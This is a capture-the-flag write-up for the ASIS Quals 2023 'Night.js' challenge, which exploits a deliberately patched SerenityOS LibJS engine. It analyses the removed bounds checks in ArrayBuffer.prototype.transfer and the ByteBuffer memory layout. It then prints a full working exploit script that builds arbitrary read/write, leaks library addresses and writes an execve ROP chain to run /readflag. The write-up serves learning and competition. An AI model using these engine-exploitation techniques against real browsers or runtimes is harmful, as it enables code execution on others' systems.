Asis Quals 2023

Night.js

The challenge features a Serenity OS LibJS exploitation problem. We are given both a commit (799b465fac5672f167d6fec599fe167bce92862d) and a patch:

diff --git a/./AK/ByteBuffer.h b/../patched-serenity/AK/ByteBuffer.h
index e2fc73bbfe..7bb7903e80 100644
--- a/./AK/ByteBuffer.h
+++ b/../patched-serenity/AK/ByteBuffer.h
@@ -104,7 +104,7 @@ public:

     [[nodiscard]] u8& operator[](size_t i)
     {
-        VERIFY(i < m_size);
+        // VERIFY(i < m_size);
         return data()[i];
     }

diff --git a/./Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp b/../patched-serenity/Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
index 2f65f7b6ca..ee9a1ca00f 100644
--- a/./Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
+++ b/../patched-serenity/Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
@@ -80,10 +80,10 @@ void copy_data_block_bytes(ByteBuffer& to_block, u64 to_index, ByteBuffer const&
     VERIFY(from_index + count <= from_size);

     // 4. Let toSize be the number of bytes in toBlock.
-    auto to_size = to_block.size();
+    // auto to_size = to_block.size();

     // 5. Assert: toIndex + count ≤ toSize.
-    VERIFY(to_index + count <= to_size);
+    // VERIFY(to_index + count <= to_size);

     // 6. Repeat, while count > 0,
     while (count > 0) {
@@ -215,6 +215,7 @@ ThrowCompletionOr<ArrayBuffer*> array_buffer_copy_and_detach(VM& vm, ArrayBuffer

     // 10. Let copyLength be min(newByteLength, arrayBuffer.[[ArrayBufferByteLength]]).
     auto copy_length = min(new_byte_length, array_buffer.byte_length());
+    if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length();

     // 11. Let fromBlock be arrayBuffer.[[ArrayBufferData]].
     // 12. Let toBlock be newBuffer.[[ArrayBufferData]].
diff --git a/./Userland/Utilities/js.cpp b/../patched-serenity/Userland/Utilities/js.cpp
index 78fe2e699c..1dace537ab 100644
--- a/./Userland/Utilities/js.cpp
+++ b/../patched-serenity/Userland/Utilities/js.cpp
@@ -343,34 +343,34 @@ void ReplObject::initialize(JS::Realm& realm)
 {
     Base::initialize(realm);

-    define_direct_property("global", this, JS::Attribute::Enumerable);
-    u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
-    define_native_function(realm, "exit", exit_interpreter, 0, attr);
-    define_native_function(realm, "help", repl_help, 0, attr);
-    define_native_function(realm, "save", save_to_file, 1, attr);
-    define_native_function(realm, "loadINI", load_ini, 1, attr);
-    define_native_function(realm, "loadJSON", load_json, 1, attr);
-    define_native_function(realm, "print", print, 1, attr);
-
-    define_native_accessor(
-        realm,
-        "_",
-        [](JS::VM&) {
-            return g_last_value.value();
-        },
-        [](JS::VM& vm) -> JS::ThrowCompletionOr<JS::Value> {
-            auto& global_object = vm.get_global_object();
-            VERIFY(is<ReplObject>(global_object));
-            outln("Disable writing last value to '_'");
-
-            // We must delete first otherwise this setter gets called recursively.
-            TRY(global_object.internal_delete(JS::PropertyKey { "_" }));
-
-            auto value = vm.argument(0);
-            TRY(global_object.internal_set(JS::PropertyKey { "_" }, value, &global_object));
-            return value;
-        },
-        attr);
+    // define_direct_property("global", this, JS::Attribute::Enumerable);
+    // u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
+    // define_native_function(realm, "exit", exit_interpreter, 0, attr);
+    // define_native_function(realm, "help", repl_help, 0, attr);
+    // define_native_function(realm, "save", save_to_file, 1, attr);
+    // define_native_function(realm, "loadINI", load_ini, 1, attr);
+    // define_native_function(realm, "loadJSON", load_json, 1, attr);
+    // define_native_function(realm, "print", print, 1, attr);
+
+    // define_native_accessor(
+    //     realm,
+    //     "_",
+    //     [](JS::VM&) {
+    //         return g_last_value.value();
+    //     },
+    //     [](JS::VM& vm) -> JS::ThrowCompletionOr<JS::Value> {
+    //         auto& global_object = vm.get_global_object();
+    //         VERIFY(is<ReplObject>(global_object));
+    //         outln("Disable writing last value to '_'");
+
+    //         // We must delete first otherwise this setter gets called recursively.
+    //         TRY(global_object.internal_delete(JS::PropertyKey { "_" }));
+
+    //         auto value = vm.argument(0);
+    //         TRY(global_object.internal_set(JS::PropertyKey { "_" }, value, &global_object));
+    //         return value;
+    //     },
+    //     attr);
 }

 JS_DEFINE_NATIVE_FUNCTION(ReplObject::save_to_file)
@@ -429,11 +429,11 @@ void ScriptObject::initialize(JS::Realm& realm)
 {
     Base::initialize(realm);

-    define_direct_property("global", this, JS::Attribute::Enumerable);
-    u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
-    define_native_function(realm, "loadINI", load_ini, 1, attr);
-    define_native_function(realm, "loadJSON", load_json, 1, attr);
-    define_native_function(realm, "print", print, 1, attr);
+    // define_direct_property("global", this, JS::Attribute::Enumerable);
+    // u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
+    // define_native_function(realm, "loadINI", load_ini, 1, attr);
+    // define_native_function(realm, "loadJSON", load_json, 1, attr);
+    // define_native_function(realm, "print", print, 1, attr);
 }

 JS_DEFINE_NATIVE_FUNCTION(ScriptObject::load_ini)

To build the binaries yourself:

git clone https://github.com/SerenityOS/serenity
git checkout 799b465fac5672f167d6fec599fe167bce92862d
patch -p1 < ../chall.patch
./Meta/serenity.sh run lagom js

Patch analysis

First, the second half of the patch seems to disable what are likely some built-in commands of the JS shell. We can safely ignore this. Sadly, there doesn’t seem to be features like %DebugPrint(x) as in V8, making tracking allocated objects much more tedious.

Let’s now have a look at the important part:

  • first, it disables a boundary check on the square bracket operator of the ByteBuffer class in ByteBuffer.h
  • then, it removes some checks on the copy_data_block_bytes function of ArrayBuffer.cpp
  • finally, it adds a conditional that changes the copy_length in the array_buffer_copy_and_detach (still in ArrayBuffer.cpp)

Let’s have a look at these functions in details!

copy_data_block_bytes

The link to the ECMAScript documentation says:

The abstract operation CopyDataBlockBytes takes arguments toBlock (a Data Block or a Shared Data Block), toIndex (a non-negative integer), fromBlock (a Data Block or a Shared Data Block), fromIndex (a non-negative integer), and count (a non-negative integer) and returns unused.

Given the name and the arguments, we can assume that it is used to copy data from one ArrayBuffer to another starting from and to a certain index.

The overall body of the function is the following:

// 6.2.9.3 CopyDataBlockBytes ( toBlock, toIndex, fromBlock, fromIndex, count ), https://tc39.es/ecma262/#sec-copydatablockbytes
void copy_data_block_bytes(ByteBuffer& to_block, u64 to_index, ByteBuffer const& from_block, u64 from_index, u64 count)
{
    // 1. Assert: fromBlock and toBlock are distinct values.
    VERIFY(&to_block != &from_block);

    // 2. Let fromSize be the number of bytes in fromBlock.
    auto from_size = from_block.size();

    // 3. Assert: fromIndex + count ≤ fromSize.
    VERIFY(from_index + count <= from_size);

    // 4. Let toSize be the number of bytes in toBlock.
    // auto to_size = to_block.size();

    // 5. Assert: toIndex + count ≤ toSize.
    // VERIFY(to_index + count <= to_size);

    // 6. Repeat, while count > 0,
    while (count > 0) {

        // ii. Set toBlock[toIndex] to fromBlock[fromIndex].
        to_block[to_index] = from_block[from_index];

        // c. Set toIndex to toIndex + 1.
        ++to_index;

        // d. Set fromIndex to fromIndex + 1.
        ++from_index;

        // e. Set count to count - 1.
        --count;
    }

    // 7. Return unused.
}

As we can see from the code, if the size of the toBlock is smaller than count we have a controlled overflow! There’s a catch: this function is used internally, it is not exposed via JavaScript directly. We must first find a path.

array_buffer_copy_and_detach

The ECMAScript specification says:

The abstract operation ArrayBufferCopyAndDetach takes arguments arrayBuffer (an ECMAScript language value), newLength (an ECMAScript language value), and preserveResizability (preserve-resizability or fixed-length) and returns either a normal completion containing an ArrayBuffer or a throw completion.

The code is the following:

// 25.1.2.14 ArrayBufferCopyAndDetach ( arrayBuffer, newLength, preserveResizability ), https://tc39.es/proposal-arraybuffer-transfer/#sec-arraybuffer.prototype.transfertofixedlength
ThrowCompletionOr<ArrayBuffer*> array_buffer_copy_and_detach(VM& vm, ArrayBuffer& array_buffer, Value new_length, PreserveResizability)
{
    auto& realm = *vm.current_realm();

    // 1. Perform ? RequireInternalSlot(arrayBuffer, [[ArrayBufferData]]).

    // FIXME: 2. If IsSharedArrayBuffer(arrayBuffer) is true, throw a TypeError exception.

    // 3. If newLength is undefined, then
    // a. Let newByteLength be arrayBuffer.[[ArrayBufferByteLength]].
    // 4. Else,
    // a. Let newByteLength be ? ToIndex(newLength).
    auto new_byte_length = new_length.is_undefined() ? array_buffer.byte_length() : TRY(new_length.to_index(vm));

    // 5. If IsDetachedBuffer(arrayBuffer) is true, throw a TypeError exception.
    if (array_buffer.is_detached())
        return vm.throw_completion<TypeError>(ErrorType::DetachedArrayBuffer);

    // FIXME: 6. If preserveResizability is preserve-resizability and IsResizableArrayBuffer(arrayBuffer) is true, then
    // a. Let newMaxByteLength be arrayBuffer.[[ArrayBufferMaxByteLength]].
    // 7. Else,
    // a. Let newMaxByteLength be empty.

    // 8. If arrayBuffer.[[ArrayBufferDetachKey]] is not undefined, throw a TypeError exception.
    if (!array_buffer.detach_key().is_undefined())
        return vm.throw_completion<TypeError>(ErrorType::DetachKeyMismatch, array_buffer.detach_key(), js_undefined());

    // 9. Let newBuffer be ? AllocateArrayBuffer(%ArrayBuffer%, newByteLength, FIXME: newMaxByteLength).
    auto* new_buffer = TRY(allocate_array_buffer(vm, realm.intrinsics().array_buffer_constructor(), new_byte_length));

    // 10. Let copyLength be min(newByteLength, arrayBuffer.[[ArrayBufferByteLength]]).
    auto copy_length = min(new_byte_length, array_buffer.byte_length());
    if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length();

    // 11. Let fromBlock be arrayBuffer.[[ArrayBufferData]].
    // 12. Let toBlock be newBuffer.[[ArrayBufferData]].
    // 13. Perform CopyDataBlockBytes(toBlock, 0, fromBlock, 0, copyLength).
    // 14. NOTE: Neither creation of the new Data Block nor copying from the old Data Block are observable. Implementations may implement this method as a zero-copy move or a realloc.
    copy_data_block_bytes(new_buffer->buffer(), 0, array_buffer.buffer(), 0, copy_length);

    // 15. Perform ! DetachArrayBuffer(arrayBuffer).
    TRY(detach_array_buffer(vm, array_buffer));

    // 16. Return newBuffer.
    return new_buffer;
}

Internally, we can see that it calls copy_data_block_bytes. Moreover, the patch adds a easy-to-spot overflow by overwriting the copy_length, which was previously the minimum between the two ArrayBuffer sizes, with the size of the source ArrayBuffer. Again, this function is not directly exposed!

By searching for its usages (or by scrolling a little bit further in the specification) we can see that there is a function defined on the prototype of ArrayBuffer that basically directly calls array_buffer_copy_and_detach: transfer.

We can find its definition in ArrayBufferPrototype.cpp:

// 25.1.5.5 ArrayBuffer.prototype.transfer ( [ newLength ] ), https://tc39.es/proposal-arraybuffer-transfer/#sec-arraybuffer.prototype.transfer
JS_DEFINE_NATIVE_FUNCTION(ArrayBufferPrototype::transfer)
{
    // 1. Let O be the this value.
    auto array_buffer_object = TRY(typed_this_value(vm));

    // 2. Return ? ArrayBufferCopyAndDetach(O, newLength, preserve-resizability).
    auto new_length = vm.argument(0);
    return TRY(array_buffer_copy_and_detach(vm, array_buffer_object, new_length, PreserveResizability::PreserveResizability));
}

This function is defined as a native JS function and it simply calls (as per specification) the array_buffer_copy_and_detach function.

Understanding the memory layout

We have now understood the bug and found a way to trigger it. With the following PoC we can cause a crash in the JS engine:

var buf = new ArrayBuffer(0x10000); // must be > 0x100 and multiple of 4
buf.transfer(0x50);

Depending on the heap layout, this likely gives us some sort of error, be it a corruption of the top chunk, some failing VERIFY in the JS engine itself, or a simple SIGSEGV if running out of memory.

We’re still missing something though: how does an ArrayBuffer and a ByteBuffer interact? We can see that copy_data_block_bytes is actually using ByteBuffers after all!

ArrayBuffer and ByteBuffer

This is the definition of the ArrayBuffer class:

class ArrayBuffer : public Object {
    JS_OBJECT(ArrayBuffer, Object);

    // ... more code ...

    size_t byte_length() const
    {
        if (is_detached())
            return 0;

        return buffer_impl().size();
    }

    // [[ArrayBufferData]]
    ByteBuffer& buffer() { return buffer_impl(); }
    ByteBuffer const& buffer() const { return buffer_impl(); }

    // ... more code ...

    Variant<Empty, ByteBuffer, ByteBuffer*> m_buffer;
    // The various detach related members of ArrayBuffer are not used by any ECMA262 functionality,
    // but are required to be available for the use of various harnesses like the Test262 test runner.
    Value m_detach_key;
};

Ignoring a lot of details, we can see that an ArrayBuffer is a JS_OBJECT (defined in Object.h and Cell.h) which also carries a ByteBuffer (and the detach status). We can also see that functions use the ByteBuffer as the backing class for the data the ArrayBuffer holds.

Let’s have a look at how ByteBuffer is implemented (AK/ByteBuffer.h):

template<size_t inline_capacity>
class ByteBuffer {

    // ... more code ...

    [[nodiscard]] u8& operator[](size_t i)
    {
        // VERIFY(i < m_size);
        return data()[i];
    }

    // ... more code ...

    union {
        u8 m_inline_buffer[inline_capacity];
        struct {
            u8* m_outline_buffer;
            size_t m_outline_capacity;
        };
    };
    size_t m_size { 0 };
    bool m_inline { true };
};

}

First, ByteBuffer uses a C++ template that defines the inline capacity of the buffer itself. Looking at the definition, we can understand that an ArrayBuffer either:

  • holds the data it keeps inside the ArrayBuffer itself in the m_inline_buffer with m_inline = true and m_size with a size <= inline_capacity, or
  • holds the data in the pointer m_outline_buffer and the size of the data in m_outline_capacity

The memory layout of a ByteBuffer is therefore one of the following:

size <= inline_capacity               size > inline_capacity

+---------------------+               +---------------------+
|        ....         |               |    buffer pointer   |
|        ....         |               +---------------------+
|    inline buffer    |               |        size         |
|        ....         |               +---------------------+
|        ....         |               |        ....         |
+---------------------+               |       padding       |
|        size         |               |        ....         |
+---------------------+               +---------------------+
|     m_inline = 1    |               |     m_inline = 0    |
+---------------------+               +---------------------+

The following code:

> var buf = new ArrayBuffer(0x20);
> var uint32 = new Uint32Array(buf);
> uint32[0] = 0xdeadbeef;
> uint32[1] = 0xdeadbeef;
> uint32[2] = 0xdeadbeef;
> uint32[3] = 0xdeadbeef;

results in the following memory layout:

0x55555567c080:	0xdeadbeefdeadbeef	0xdeadbeefdeadbeef <- m_inline_buffer
0x55555567c090:	0x0000000000000000	0x0000000000000000 <- m_inline_buffer + 0x10
0x55555567c0a0:	0x0000000000000020	0x0000000000000001 <- m_size, m_inline = true
0x55555567c0b0:	0x0000000000000001	0x7ffe000000000000 <- m_detach_key, undefined value

With GDB we noticed that the maximum inline_capacity is 0x20.

On the other hand, allocating a much larger ArrayBuffer, such as:

> var buf = new ArrayBuffer(0x100);
> var uint32 = new Uint32Array(buf);
> uint32[0] = 0xdeadbeef;
> uint32[1] = 0xdeadbeef;
> uint32[2] = 0xdeadbeef;
> uint32[3] = 0xdeadbeef;
>

results in the following memory layout:

0x55555567c300:	0x0000555555604340	0x0000000000000100 <- m_outline_buffer, m_outline_capacity
0x55555567c310:	0x0000000000000000	0x0000000000000000 <- unused
0x55555567c320:	0x0000000000000100	0x0000000000000000 <- m_size, m_inline = false
0x55555567c330:	0x0000000000000001	0x7ffe000000000000 <- m_detach_key, undefined value

Where the pointer m_outline_buffer is a normally allocated chunk on the heap:

0x555555604330:	0x0000000000000000	0x0000000000000111 <- prevsize, size | PREV_INUSE
0x555555604340:	0xdeadbeefdeadbeef	0xdeadbeefdeadbeef <- buffer data
0x555555604350:	0x0000000000000000	0x0000000000000000
0x555555604360:	0x0000000000000000	0x0000000000000000
0x555555604370:	0x0000000000000000	0x0000000000000000
...
Notes

A little side note: pointers to JS objects in Serenity OS are tagged. For example, 0x7ffe is BASE_TAG | UNDEFINED_TAG, as we can see from Value.h:

static constexpr u64 BASE_TAG = 0x7FF8;
static constexpr u64 UNDEFINED_TAG = 0b110 | BASE_TAG;

Another thing to notice is that the memory used to save the JS Object data is far (from tests, at least 4 pages) and comes before (lower address) than the memory used, for example, for the ByteBuffer outline buffer. This may be due to the usage of Realms, which seems to segregate different objects in different parts of the heap.

Exploitation

Having understood the structures used by ArrayBuffer we can now try to find a way to exploit the overflow that happens when using transfer. We struggled for some hours trying to get an ArrayBuffer JS Object below the buffer, so that we could corrupt some metadata. However, probably due to Realms, we failed (miserably).

At a later point, we noticed a crash when transferring to a small (size < inline_capacity) ArrayBuffer. The code leading to a crash looked like the following:

var buf = new ArrayBuffer(0x104); // size must be at least 0x104 to overflow
var uint32buf = new Uint32Array(buf);
uint32buf[0] = 0xdeadbeef;
buf.transfer(0x10);

Looking at the crash in GDB we see the following instruction crashing:

0x7ffff7a005e0 <JS::copy_data_block_bytes(AK::Detail::ByteBuffer<32ul>&, unsigned long, AK::Detail::ByteBuffer<32ul> const&, unsigned long, unsigned long)+80>     mov    byte ptr [r9 + r8], dl

This corresponds to one of the instructions used for this line of code:

► 106         to_block[to_index] = from_block[from_index];

It is crashing inside the copy_data_block_bytes function. In particular, r9 contains the value 0xdeadbeef and r8 the value 0x29. What??

Let’s look at the memory layout of the transferred ArrayBuffer:

0x555555698200:	0x00000000deadbeef	0x0000000000000000 <- m_outline_buffer, m_outline_capacity
0x555555698210:	0x0000000000000000	0x0000000000000000 <- unused
0x555555698220:	0x0000000000000000	0x0000000000000000 <- m_size, m_inline = false
0x555555698230:	0x0000000000000001	0x7ffe000000000000

It looks like the ByteBuffer does not have the m_inline bool set. Didn’t we transfer to a small ArrayBuffer though?

Well, as ArrayBuffers are initialized to zero, we have actually overwritten the m_inline boolean. Therefore, when using the square bracket operator, the ByteBuffer is not trying to write to the inline storage, but to the outline one! This could allow for arbitrary writes, with two issues: first, we don’t have any address (all protections are enabled, including ASLR), and second, this would force us to overwrite a rather large chunk of memory (at least 0x104 - 0x28).

At this point we knew we could do better and get an arbitrary read/write primitive. Exploitation took us a while even after this discovery. Eventually, we came up with a good primitive and an address leak (even though the address we leak is not a convenient one, as we will see).

To gain arbitrary read/write we used the following code:

var buf = new ArrayBuffer(0x104);
var buf32 = new Uint32Array(buf);
buf32[8] = 0xfffff0; // m_size
buf32[10] = 1; // m_inline
buf32[12] = 1; // m_detach_key
buf32[15] = 0x7ffe0000; // undefined

var pwn = buf.transfer(0x10);
var pwnview = new DataView(pwn);
var victim = new ArrayBuffer(0x10);
var victimview = new DataView(victim);

function arb_read(addr) {
  pwnview.setFloat64(0x80, itof(addr), true);
  pwnview.setInt32(0x88, 0xfff0, true);
  pwnview.setInt32(0xa8, 0, true);
  var ret = ftoi(victimview.getFloat64(0, true));
  pwnview.setInt32(0xa8, 1, true);
  return ret;
}

function arb_write(addr, data, len) {
  for (let i = 0; i < len; i++) {
    pwnview.setFloat64(0x80, itof(addr + BigInt(i * 8)), true);
    pwnview.setInt32(0x88, 0xfff0, true);
    pwnview.setInt32(0xa8, 0, true);
    victimview.setFloat64(0, itof(data[i]), true);
  }
  pwnview.setInt32(0xa8, 1, true);
}

Let’s walk through this:

  • first, we create an ArrayBuffer just big enough to trigger the transfer bug
  • then we set its memory so that, when copied, m_size is a big number, m_inline is true, and m_detach_key is true (as well as other metadata found after it to keep from corrupting stuff)
  • once done, we use transfer: with this, we have now gained a very big ArrayBuffer. In memory, it looks like the following:
0x56428f760480:	0x0000000000000000	0x0000000000000000 <- m_inline_buffer
0x56428f760490:	0x0000000000000000	0x0000000000000000 <- m_inline_buffer + 0x10
0x56428f7604a0:	0x0000000000fffff0	0x0000000000000001 <- m_size, m_inline = true
0x56428f7604b0:	0x0000000000000001	0x7ffe000000000000 <- m_detach_key = true, undefined
  • we can now use this to leak addresses that come after this. Moreover, if we get an ArrayBuffer we control after this, we can overwrite its m_outline_buffer to gain arbitrary read/write! To do so, we just need to quickly allocate a victim ArrayBuffer to be used for our OOB reads/writes.
  • Finally, we implement arb_read and arb_write: given the local OOB read/write on the pwn ArrayBuffer, we overwrite the ByteBuffer of the victim. In particular, we set m_outline_buffer to the address we want to read/write, we additionally set the length to a big value, we clear the m_inline bool, and read/write the value we wanted. After doing this we also reset the m_inline bool to true: the JS shell was crashing when exiting as it was trying to free the victim ByteBuffer as if it was allocated (which doesn’t end well when the address you are trying to free is very far from the heap).

We now have arbitrary read/write! Now, we just need to gain control of rip. As the challenge uses libc 2.38 we decided to simply ROP on the stack. First, though, we need to leak some addresses. In particular, we need to first leak libc, leak environ, and finally get to the return address!

The first leak we get is from the JS object of the victim ArrayBuffer:

var lagos = ftoi(pwnview.getFloat64(64, true)) - BigInt(0xada8);
console.log("lagos-js: 0x" + lagos.toString(16));

This points somewhere in liblagom-js.so.0. From there, we found a pointer to ld-linux-x86-64.so.2. Through the auxiliary vector (auxv), we found a reference to _start in the JS shell binary. From there, we leaked a GOT entry (exit’s one, which is already populated due to full RELRO) and got (got, get it?) the base of libc.so.6. Finally, we leaked environ and calculated the return address of main. We tried spawning a shell (/bin/sh), but that failed on remote for some reason. We were also provided a readflag binary in the root, so we went with that. We first wrote on the stack /readflag, and then we overwrote the return address with our simple ropchain (an execve or /readflag, as calling system would fail on remote).

The final script is the following:

/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) {
  // typeof(val) = float
  f64_buf[0] = val;
  return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) {
  // typeof(val) = BigInt
  u64_buf[0] = Number(val & 0xffffffffn);
  u64_buf[1] = Number(val >> 32n);
  return f64_buf[0];
}

// Exploit

var buf = new ArrayBuffer(0x104);
var buf32 = new Uint32Array(buf);
buf32[8] = 0xfffff0; // m_size
buf32[10] = 1; // m_inline
buf32[12] = 1; // m_detach_key
buf32[15] = 0x7ffe0000; // undefined

var pwn = buf.transfer(0x10);
var pwnview = new DataView(pwn);
var victim = new ArrayBuffer(0x10);
var victimview = new DataView(victim);
var lagos = ftoi(pwnview.getFloat64(64, true)) - 0xada8n;
console.log("lagos-js: 0x" + lagos.toString(16));

function arb_read(addr) {
  pwnview.setFloat64(0x80, itof(addr), true);
  pwnview.setInt32(0x88, 0xfff0, true);
  pwnview.setInt32(0xa8, 0, true);
  var ret = ftoi(victimview.getFloat64(0, true));
  pwnview.setInt32(0xa8, 1, true);
  return ret;
}

function arb_write(addr, data, len) {
  for (let i = 0; i < len; i++) {
    pwnview.setFloat64(0x80, itof(addr + BigInt(i * 8)), true);
    pwnview.setInt32(0x88, 0xfff0, true);
    pwnview.setInt32(0xa8, 0, true);
    victimview.setFloat64(0, itof(data[i]), true);
  }
  pwnview.setInt32(0xa8, 1, true);
}

var ld = arb_read(lagos + 0x26010n) - 0x150e0n;
console.log("ld: 0x" + ld.toString(16));

var exe = arb_read(ld + 0x38588n) - 0x7470n;
console.log("exe: 0x" + exe.toString(16));

var libc = arb_read(exe + 0x1be30n) - 0x45240n;
console.log("libc: 0x" + libc.toString(16));

var environ = arb_read(libc + 0x265258n);
console.log("environ: 0x" + environ.toString(16));

var readflag = [0x6165722fn + (0x616c6664n << 32n), 0x67n];
arb_write(environ, readflag, readflag.length);

var binsh = libc + 0x1c041bn;
var pop_rdi = libc + 0x028715n;
var system = libc + 0x055230n;
var ret = libc + 0x026a3en;
var pop_rsi = libc + 0x002a671n;
var pop_rdx_rbx = libc + 0x0093359n;
var pop_rax = libc + 0x0046663n;
var syscall = libc + 0x00942b6n;

var rop = [
  ret,
  pop_rdi,
  environ,
  pop_rsi,
  0n,
  pop_rdx_rbx,
  0n,
  0n,
  pop_rax,
  0x3bn,
  syscall,
];
arb_write(environ - 0x128n, rop, rop.length);